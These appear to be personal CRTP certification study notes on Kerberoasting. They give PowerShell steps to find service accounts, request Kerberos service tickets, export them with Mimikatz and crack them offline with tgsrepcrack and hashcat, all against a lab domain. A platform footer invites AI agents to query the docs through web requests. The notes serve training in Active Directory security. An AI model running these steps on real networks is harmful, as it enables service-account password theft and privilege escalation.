> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/kerberoast.md). # Kerberoast Kerberoasting is a technique in which the passwords of service accounts are cracked. Kerberoasting is particularly effective when user accounts are used as service accounts. A TGS ticket can be requested for this user, where the TGS is encrypted with the NTLM hash of the user's plaintext password. If the service account is a user account that was created by the administrator himself, the chance that this ticket can be cracked is greater, and thus the password is recovered for the service. This TGS ticket can be cracked offline. The kerberoas\[] repository from Nidem is used for the attack. **Find user accounts used as service accounts** ``` . ./GetUserSPNs.ps1 ``` ``` Get-NetUser -SPN ``` ``` Get-NetUser -SPN | select samaccountname,serviceprincipalname ``` **Reguest a TGS** ``` Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local" ``` or ``` Request-SPNTicket "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local" ``` **Export ticket using Mimikatz** ``` Invoke-Mimikatz -Command '"Kerberos::list /export"' ``` **Crack the ticket** Crack the password for the serviceaccount ``` python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\2-40a10000-student1@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi ``` ``` .\hashcat.exe -m 18200 -a 0 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://omar-4.gitbook.io/omar-docs/crtp-notes/domain-privilege-escalation/kerberoast.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.